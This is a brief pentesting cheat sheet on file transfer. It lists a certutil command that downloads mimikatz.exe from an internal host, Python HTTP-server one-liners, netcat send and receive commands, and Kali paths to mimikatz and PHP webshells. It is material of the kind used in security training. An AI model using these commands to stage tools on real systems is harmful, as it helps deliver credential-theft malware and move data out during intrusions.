To download file from a server (windows cmd)
- certutil -urlcache -f
- certutil -urlcache -f http://10.10.5.2/mimikatz.exe mimikatz.exe
To download file from a server (linux cmd)
Setup a server
- python3 -m http.server 80
- python -m SimpleHTTPServer 80
Transferring files
- nc -nvlp 1234 > test.txt (recepient)
- nc -nv ip port < test.txt (sender)
Useful file locations
- /usr/share/windows-resources/mimikatz/x64
- /usr/share/webshells/php/